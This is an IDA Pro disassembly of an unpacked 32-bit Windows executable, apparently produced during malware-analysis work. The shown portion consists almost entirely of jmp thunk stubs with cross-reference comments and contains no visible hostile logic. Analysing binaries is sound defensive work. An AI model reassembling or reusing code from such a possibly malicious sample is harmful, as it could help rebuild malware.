;
; +-------------------------------------------------------------------------+
; | This file is generated by The Interactive Disassembler (IDA) |
; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> |
; | Licensed to: SRI, 1 computer, std, 05/2007 |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; | This file is generated by The Interactive Disassembler (IDA) |
; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> |
; | Licensed to: SRI, 1 computer, std, 05/2007 |
; +-------------------------------------------------------------------------+
;
; Input MD5 : 59C395C769B1D24A5C6DD4D776F39746
; File Name : u:\work\59c395c769b1d24a5c6dd4d776f39746_unpacked.exe
; Format : Portable executable for 80386 (PE)
; Imagebase : 400000
; Section 1. (virtual address 00001000)
; Virtual size : 00112000 (1122304.)
; Section size in file : 00112000 (1122304.)
; Offset to raw data for section: 00001000
; Flags E0000040: Data Executable Readable Writable
; Alignment : default
unicode macro page,string,zero
irpc c,<string>
db '&c', page
endm
ifnb <zero>
dw zero
endif
endm
.686p
.mmx
.model flat
; ===========================================================================
; Segment type: Pure code
; Segment permissions: Read/Write/Execute
___ segment para public 'CODE' use32
assume cs:___
;org 401000h
assume es:nothing, ss:nothing, ds:___, fs:nothing, gs:nothing
db 5 dup(0CCh)
; ---------------------------------------------------------------------------
jmp loc_430920
; ---------------------------------------------------------------------------
loc_40100A: ; DATA XREF: ___:off_43F08Co
jmp loc_412D70
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40100F proc near ; CODE XREF: sub_421BF0+29p
jmp sub_422150
sub_40100F endp
; ---------------------------------------------------------------------------
jmp loc_432540
; ---------------------------------------------------------------------------
jmp loc_420DA0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40101E proc near ; CODE XREF: ___:00412AA3p
jmp sub_412AD0
sub_40101E endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401023 proc near ; CODE XREF: ___:0040B28Dp
; ___:0040B29Ap ...
jmp sub_406B80
sub_401023 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401028 proc near ; CODE XREF: sub_41FA90+34p
jmp sub_40B0D0
sub_401028 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40102D proc near ; CODE XREF: sub_404C30+616p
; sub_404C30+6D5p ...
jmp sub_40A100
sub_40102D endp
; ---------------------------------------------------------------------------
jmp sub_42B3F0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401037 proc near ; CODE XREF: sub_4135D0+3Bp
; ___:00414BF0p
jmp sub_4156C0
sub_401037 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40103C proc near ; CODE XREF: sub_430B30+6Ep
; sub_430B30+8Ap ...
jmp sub_4342D0
sub_40103C endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401041 proc near ; CODE XREF: ___:00430212p
; sub_430B30+3Fp ...
jmp sub_434150
sub_401041 endp
; ---------------------------------------------------------------------------
jmp loc_423A40
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_40104B proc near
jmp sub_40D200
sub_40104B endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401050 proc near ; CODE XREF: sub_40B0D0+3Ap
; sub_40B140+1Ap
jmp sub_433C70
sub_401050 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401055 proc near ; CODE XREF: sub_41E660+37Bp
jmp sub_421D30
sub_401055 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40105A proc near ; CODE XREF: sub_40C190+8p
jmp sub_40C350
sub_40105A endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40105F proc near ; CODE XREF: sub_432BF0+5Ap
; sub_434A00+50p
jmp sub_432BB0
sub_40105F endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401064 proc near ; DATA XREF: ___:off_43F054o
jmp sub_41C710
sub_401064 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401069 proc near ; CODE XREF: ___:00416E6Ap
jmp sub_41FBD0
sub_401069 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_40106E proc near ; CODE XREF: sub_40C030+32p
jmp sub_40C1F0
sub_40106E endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401073 proc near ; CODE XREF: ___:00416E7Ap
jmp sub_418250
sub_401073 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401078 proc near ; CODE XREF: sub_415910+6Ap
; sub_416370+32p
jmp sub_4162B0
sub_401078 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40107D proc near ; CODE XREF: sub_41E660+161p
; sub_4224E0+3p
jmp sub_421B50
sub_40107D endp
; ---------------------------------------------------------------------------
jmp loc_41ADB0
; [00000005 BYTES: COLLAPSED FUNCTION j_nullsub_7. PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40108C proc near ; CODE XREF: sub_421D30+3p
; ___:004220FFp ...
jmp sub_422270
sub_40108C endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401091 proc near ; CODE XREF: sub_40C4D0+43p
jmp sub_40CBA0
sub_401091 endp
; ---------------------------------------------------------------------------
jmp sub_429120
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40109B proc near ; CODE XREF: sub_4075C0+Ap
jmp sub_407660
sub_40109B endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4010A0 proc near ; CODE XREF: sub_4246D0+23p
; sub_424870+6p ...
jmp sub_4245E0
sub_4010A0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4010A5 proc near ; CODE XREF: sub_431EF0+F5p
; sub_431EF0+14Fp
jmp sub_4340E0
sub_4010A5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4010AA proc near ; CODE XREF: sub_4344C0+C8p
jmp sub_431C80
sub_4010AA endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4010AF proc near ; DATA XREF: ___:0043F174o
jmp sub_42B0B0
sub_4010AF endp
; ---------------------------------------------------------------------------
loc_4010B4: ; DATA XREF: ___:off_43F090o
jmp loc_41E2C0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4010B9 proc near ; CODE XREF: sub_4182F0+D0p
; sub_418450+2Dp
jmp sub_4189E0
sub_4010B9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4010BE proc near ; CODE XREF: sub_40FE30+8D9p
; sub_40FE30+990p ...
jmp sub_412A20
sub_4010BE endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4010C3 proc near ; CODE XREF: ___:00430626p
; ___:00430694p ...
jmp sub_4321F0
sub_4010C3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4010C8 proc near ; CODE XREF: sub_421E50+9p
; sub_422340+18p
jmp sub_4224C0
sub_4010C8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4010CD proc near ; CODE XREF: sub_40AAC0+58p
; sub_40AAC0+82p ...
jmp sub_40ACB0
sub_4010CD endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4010D2 proc near ; CODE XREF: sub_422B40+3F1p
; ___:00423BA6p ...
jmp sub_419BE0
sub_4010D2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_4010D7 proc near ; CODE XREF: sub_416100+7p
jmp sub_416730
sub_4010D7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4010DC proc near ; CODE XREF: sub_4155F0+5Bp
; sub_415F60+11p ...
jmp sub_4161B0
sub_4010DC endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4010E1 proc near ; CODE XREF: sub_42AE10+58p
jmp sub_42AC80
sub_4010E1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_4010E6 proc near ; CODE XREF: sub_421970+1Fp
jmp sub_421DB0
sub_4010E6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4010EB proc near ; CODE XREF: sub_4220B0+11p
; ___:004220D7p ...
jmp sub_4225D0
sub_4010EB endp
; ---------------------------------------------------------------------------
jmp loc_413E20
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4010F5 proc near ; CODE XREF: sub_421B30+3p
; ___:00421E9Fp ...
jmp sub_422010
sub_4010F5 endp
; ---------------------------------------------------------------------------
jmp loc_4144C0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4010FF proc near ; CODE XREF: sub_428210+3p
jmp sub_428240
sub_4010FF endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401104 proc near ; CODE XREF: sub_415AF0+11p
; ___:00415B17p ...
jmp sub_416560
sub_401104 endp
; ---------------------------------------------------------------------------
jmp loc_434600
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40110E proc near ; CODE XREF: sub_421C60+5p
; sub_421D50+6p ...
jmp sub_422250
sub_40110E endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401113 proc near ; CODE XREF: ___:00416B4Bp
; ___:0043B25Ej ...
jmp sub_417A20
sub_401113 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401118 proc near ; CODE XREF: sub_404C30+6Ap
; sub_404C30+1AFp ...
jmp sub_412590
sub_401118 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40111D proc near ; DATA XREF: ___:off_43F0ACo
jmp sub_419300
sub_40111D endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401122 proc near ; CODE XREF: sub_432D10+6p
; ___:00432D23p ...
jmp sub_430770
sub_401122 endp
; ---------------------------------------------------------------------------
jmp loc_42F6C0
; ---------------------------------------------------------------------------
loc_40112C: ; DATA XREF: ___:off_43F15Co
jmp loc_42AF80
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401131 proc near ; CODE XREF: ___:00423D9Dp
jmp sub_423860
sub_401131 endp
; ---------------------------------------------------------------------------
jmp loc_433240
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40113B proc near ; CODE XREF: ___:00415168p
jmp sub_415A80
sub_40113B endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401140 proc near ; CODE XREF: sub_41BA50+F7p
; sub_41BA50+10Bp ...
jmp sub_409F70
sub_401140 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401145 proc near ; CODE XREF: sub_4099E0+Ap
jmp sub_409AD0
sub_401145 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40114A proc near ; CODE XREF: sub_413490+55p
; sub_413490+94p ...
jmp sub_415850
sub_40114A endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40114F proc near ; CODE XREF: sub_425100+18Cp
; ___:00425F7Dp
jmp sub_4236F0
sub_40114F endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401154 proc near ; CODE XREF: ___:00414C7Ep
jmp sub_4155F0
sub_401154 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401159 proc near ; CODE XREF: sub_4288F0+3p
jmp sub_428920
sub_401159 endp
; ---------------------------------------------------------------------------
loc_40115E: ; DATA XREF: ___:off_43F038o
jmp loc_412AA0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401163 proc near ; CODE XREF: sub_415EC0+11p
; ___:00415EE7p ...
jmp sub_4166E0
sub_401163 endp
; ---------------------------------------------------------------------------
jmp loc_421870
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40116D proc near ; CODE XREF: sub_418C00+23p
; sub_418E70+11p
jmp sub_418F50
sub_40116D endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401172 proc near ; CODE XREF: sub_418A50+3p
; sub_418F80+54p ...
jmp sub_418DD0
sub_401172 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401177 proc near ; CODE XREF: sub_4096D0+6Ap
; sub_4096D0+103p
jmp sub_409970
sub_401177 endp
; ---------------------------------------------------------------------------
jmp loc_433B30
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401181 proc near ; CODE XREF: ___:00413E3Dp
jmp sub_413C30
sub_401181 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401186 proc near ; CODE XREF: ___:0041A2E4p
jmp sub_41B0B0
sub_401186 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40118B proc near ; CODE XREF: sub_413490+88p
; sub_414890+BFp ...
jmp sub_415A20
sub_40118B endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401190 proc near ; CODE XREF: sub_430770+7p
; sub_4307E0+19p ...
jmp sub_434BA0
sub_401190 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401195 proc near
jmp sub_40DBE0
sub_401195 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40119A proc near ; CODE XREF: ___:0043239Ap
jmp sub_431D40
sub_40119A endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_40119F proc near ; CODE XREF: sub_407230+11p
; sub_4073C0+1Fp
jmp sub_407460
sub_40119F endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4011A4 proc near ; CODE XREF: sub_403700+3B5p
; sub_403700+3C5p ...
jmp sub_403DC0
sub_4011A4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4011A9 proc near ; CODE XREF: sub_421D10+3p
jmp sub_422290
sub_4011A9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4011AE proc near ; CODE XREF: sub_40C320+Ap
jmp sub_40C3E0
sub_4011AE endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4011B3 proc near ; CODE XREF: sub_403700+1Dp
; sub_407080+1Fp ...
jmp sub_403C30
sub_4011B3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_4011B8 proc near ; CODE XREF: ___:00413334p
; ___:0043AC8Cj ...
jmp sub_415480
sub_4011B8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4011BD proc near ; CODE XREF: sub_42C640+3p
jmp sub_42C670
sub_4011BD endp
; ---------------------------------------------------------------------------
jmp loc_40AFD0
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_4011C7 proc near ; CODE XREF: ___:00414C8Dp
jmp sub_414D30
sub_4011C7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4011CC proc near ; CODE XREF: sub_407660+7p
; sub_409AD0+7p ...
jmp sub_407690
sub_4011CC endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4011D1 proc near ; CODE XREF: sub_4135D0+73p
; ___:00414C2Dp ...
jmp sub_4156E0
sub_4011D1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4011D6 proc near ; CODE XREF: sub_41E660+58p
jmp sub_420530
sub_4011D6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4011DB proc near ; CODE XREF: sub_413E60+84p
jmp sub_4138A0
sub_4011DB endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4011E0 proc near ; CODE XREF: ___:00433718p
jmp sub_431060
sub_4011E0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4011E5 proc near ; CODE XREF: sub_407510+8p
jmp sub_4075F0
sub_4011E5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4011EA proc near ; CODE XREF: sub_404C30+9Fp
; sub_404C30+230p ...
jmp sub_40A500
sub_4011EA endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_4011EF proc near ; CODE XREF: sub_40A860+21p
; sub_40AAC0+A5p
jmp sub_40AAA0
sub_4011EF endp
; ---------------------------------------------------------------------------
jmp loc_40B040
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4011F9 proc near ; CODE XREF: sub_40A500+129p
; sub_40A8E0+4p ...
jmp sub_40A8B0
sub_4011F9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4011FE proc near ; DATA XREF: ___:off_43F0DCo
jmp sub_4277B0
sub_4011FE endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401203 proc near ; CODE XREF: ___:004335ADp
jmp sub_430D60
sub_401203 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401208 proc near ; CODE XREF: sub_407340+3p
; ___:0040740Fp ...
jmp sub_4074D0
sub_401208 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_40120D proc near ; CODE XREF: sub_41D830+346p
; sub_41D830+410p ...
jmp sub_421970
sub_40120D endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401212 proc near ; CODE XREF: sub_421BB0+11p
; sub_4220B0+1Fp
jmp sub_4221E0
sub_401212 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401217 proc near ; CODE XREF: sub_42C7E0+3p
jmp sub_42C810
sub_401217 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_40121C proc near
jmp sub_4077E0
sub_40121C endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401221 proc near ; CODE XREF: sub_40C1F0+5Fp
jmp sub_40C3C0
sub_401221 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401226 proc near ; CODE XREF: sub_403530+F6p
; sub_403530+12Ep ...
jmp sub_409D00
sub_401226 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40122B proc near ; CODE XREF: sub_41E660+113p
; sub_41E660+124p
jmp sub_421B30
sub_40122B endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401230 proc near ; DATA XREF: ___:0043F06Co
jmp sub_41F860
sub_401230 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401235 proc near ; CODE XREF: ___:00416BEBp
; ___:0043B1D2j ...
jmp sub_417670
sub_401235 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40123A proc near ; CODE XREF: sub_40AF90+Fp
jmp sub_431240
sub_40123A endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_40123F proc near ; CODE XREF: sub_418C00+32p
jmp sub_418E70
sub_40123F endp
; ---------------------------------------------------------------------------
jmp loc_434860
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401249 proc near ; CODE XREF: sub_4154F0+5p
; sub_415700+6p ...
jmp sub_416120
sub_401249 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40124E proc near ; CODE XREF: sub_40BD80+29p
; sub_40BEA0+29p
jmp sub_40C030
sub_40124E endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401253 proc near ; CODE XREF: sub_41E660+3E9p
; ___:0043C45Bj
jmp sub_421BF0
sub_401253 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401258 proc near ; CODE XREF: sub_414590+BFp
jmp sub_4152D0
sub_401258 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40125D proc near ; CODE XREF: sub_4165D0+Ap
jmp sub_416910
sub_40125D endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401262 proc near ; CODE XREF: ___:00416C57p
; ___:0043B173j ...
jmp sub_416F70
sub_401262 endp
; ---------------------------------------------------------------------------
jmp sub_418B00
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40126C proc near
jmp sub_4182F0
sub_40126C endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401271 proc near ; CODE XREF: ___:00416DDFp
jmp sub_417F90
sub_401271 endp
; ---------------------------------------------------------------------------
jmp loc_414750
; ---------------------------------------------------------------------------
jmp loc_430320
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401280 proc near ; CODE XREF: sub_40FE30+387p
; sub_41EF30+21Dp ...
jmp sub_41B7E0
sub_401280 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401285 proc near ; CODE XREF: ___:00416E1Ap
jmp sub_418140
sub_401285 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40128A proc near ; CODE XREF: sub_409560+8p
jmp sub_4095B0
sub_40128A endp
; ---------------------------------------------------------------------------
jmp loc_42AF80
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401294 proc near ; CODE XREF: sub_4096D0+A5p
; sub_4127E0+21p
jmp sub_4098E0
sub_401294 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401299 proc near ; CODE XREF: sub_404C30+382p
; sub_41D830+5AAp
jmp sub_41C130
sub_401299 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40129E proc near ; CODE XREF: ___:00416D2Fp
jmp sub_403700
sub_40129E endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4012A3 proc near ; CODE XREF: sub_418CB0+23p
; sub_418F80+11p
jmp sub_4190D0
sub_4012A3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4012A8 proc near ; CODE XREF: sub_424920+Cp
; sub_424920+3Ep ...
jmp sub_424410
sub_4012A8 endp
; ---------------------------------------------------------------------------
jmp loc_430960
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4012B2 proc near ; CODE XREF: sub_404C30+85Ap
; sub_404C30+AD6p ...
jmp sub_40A360
sub_4012B2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4012B7 proc near ; CODE XREF: ___:0042FE06p
; ___:0042FE56p ...
jmp sub_432780
sub_4012B7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4012BC proc near ; CODE XREF: sub_41E660+367p
; sub_41E660+3D4p ...
jmp sub_421D80
sub_4012BC endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4012C1 proc near ; DATA XREF: sub_427D50+107o
jmp sub_427FD0
sub_4012C1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4012C6 proc near ; CODE XREF: sub_424800+18p
; sub_424840+Ap ...
jmp sub_4247B0
sub_4012C6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4012CB proc near ; CODE XREF: sub_416210+9p
; sub_4162B0+18p
jmp sub_4168C0
sub_4012CB endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4012D0 proc near ; DATA XREF: sub_432570+32o
jmp sub_432D70
sub_4012D0 endp
; ---------------------------------------------------------------------------
jmp loc_42FE50
; ---------------------------------------------------------------------------
jmp loc_419CB0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4012DF proc near ; CODE XREF: sub_42AC80+67p
jmp sub_41FEF0
sub_4012DF endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_4012E4 proc near ; CODE XREF: ___:004301E8p
; sub_4303A0+2p ...
jmp sub_431560
sub_4012E4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4012E9 proc near ; CODE XREF: sub_413730+3Fp
; sub_414590+40p ...
jmp sub_415220
sub_4012E9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4012EE proc near ; CODE XREF: sub_404600+19Fp
; sub_404600+212p ...
jmp sub_409FC0
sub_4012EE endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4012F3 proc near ; CODE XREF: sub_424F70+B5p
; sub_424F70+F1p
jmp sub_424F00
sub_4012F3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4012F8 proc near ; CODE XREF: sub_425100+130p
jmp sub_424F70
sub_4012F8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4012FD proc near ; CODE XREF: ___:00416DFAp
jmp sub_418040
sub_4012FD endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401302 proc near ; CODE XREF: ___:00416DCFp
jmp sub_417ED0
sub_401302 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401307 proc near ; CODE XREF: sub_4316C0+1p
jmp sub_431750
sub_401307 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40130C proc near ; CODE XREF: ___:00427201p
jmp sub_427740
sub_40130C endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401311 proc near ; CODE XREF: sub_4182F0+71p
; sub_4182F0+BBp ...
jmp sub_4189B0
sub_401311 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401316 proc near ; CODE XREF: sub_40A170+7p
jmp sub_40A190
sub_401316 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40131B proc near ; CODE XREF: ___:004329C8p
; sub_432A20+2Bp
jmp sub_432BF0
sub_40131B endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401320 proc near ; CODE XREF: sub_432570+1p
jmp sub_4327B0
sub_401320 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401325 proc near ; CODE XREF: sub_4207E0+37Bp
jmp sub_421CD0
sub_401325 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_40132A proc near ; CODE XREF: sub_414420+5Bp
jmp sub_4150F0
sub_40132A endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40132F proc near ; CODE XREF: sub_415480+29p
; sub_4155A0+29p
jmp sub_416020
sub_40132F endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401334 proc near ; CODE XREF: ___:00437232p
; ___:00437242p ...
jmp sub_4370F0
sub_401334 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401339 proc near ; CODE XREF: sub_413490+5Fp
; sub_413490+9Ep ...
jmp sub_415A50
sub_401339 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40133E proc near ; CODE XREF: sub_40B5F0+62p
; ___:0040BAB8p ...
jmp sub_40BF30
sub_40133E endp
; ---------------------------------------------------------------------------
jmp loc_4313B0
; ---------------------------------------------------------------------------
jmp loc_42FF30
; ---------------------------------------------------------------------------
loc_40134D: ; DATA XREF: ___:0043F1A8o
jmp loc_42C690
; ---------------------------------------------------------------------------
jmp loc_42C5D0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401357 proc near ; CODE XREF: sub_416180+8p
jmp sub_4167A0
sub_401357 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40135C proc near ; CODE XREF: sub_413490+71p
; sub_413490:loc_41355Cp ...
jmp sub_415A00
sub_40135C endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401361 proc near ; CODE XREF: sub_4182F0+AFp
; sub_4190D0+3p
jmp sub_418A70
sub_401361 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401366 proc near ; DATA XREF: ___:0043F104o
jmp sub_427D50
sub_401366 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40136B proc near ; CODE XREF: sub_40B5F0+39p
; sub_40B5F0+78p ...
jmp sub_40BF60
sub_40136B endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401370 proc near ; CODE XREF: sub_426A90+29p
; sub_426A90+38p
jmp sub_4269A0
sub_401370 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401375 proc near ; CODE XREF: sub_41A600+1Cp
jmp sub_41A640
sub_401375 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40137A proc near ; DATA XREF: ___:0043F164o
jmp sub_42AE10
sub_40137A endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_40137F proc near ; CODE XREF: ___:00408C96p
; ___:00414541p
jmp sub_4142F0
sub_40137F endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401384 proc near ; CODE XREF: sub_418450+72p
jmp sub_406C80
sub_401384 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401389 proc near ; CODE XREF: sub_409DF0+7p
; sub_409F40+7p ...
jmp sub_40A7D0
sub_401389 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_40138E proc near ; DATA XREF: ___:off_43F058o
jmp sub_422B40
sub_40138E endp
; ---------------------------------------------------------------------------
jmp loc_413BA0
; ---------------------------------------------------------------------------
jmp sub_42C640
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_40139D proc near ; CODE XREF: sub_4188C0+11p
; sub_421DB0+1Fp
jmp sub_418D40
sub_40139D endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42C5C0
loc_4013A2: ; CODE XREF: sub_42C5C0+3j
jmp sub_42BB00
; END OF FUNCTION CHUNK FOR sub_42C5C0
; ---------------------------------------------------------------------------
jmp sub_42C7E0
; ---------------------------------------------------------------------------
jmp loc_42FEA0
; ---------------------------------------------------------------------------
jmp loc_414B20
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_4013B6 proc near ; CODE XREF: sub_4072E0+1Fp
jmp sub_4073C0
sub_4013B6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_4013BB proc near ; CODE XREF: sub_4257F0+47Fp
jmp sub_4253C0
sub_4013BB endp
; ---------------------------------------------------------------------------
jmp loc_42FAA0
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_4013C5 proc near ; CODE XREF: sub_412830+3p
; ___:00416BDBp ...
jmp sub_412860
sub_4013C5 endp
; =============== S U B R O U T I N E =======================================
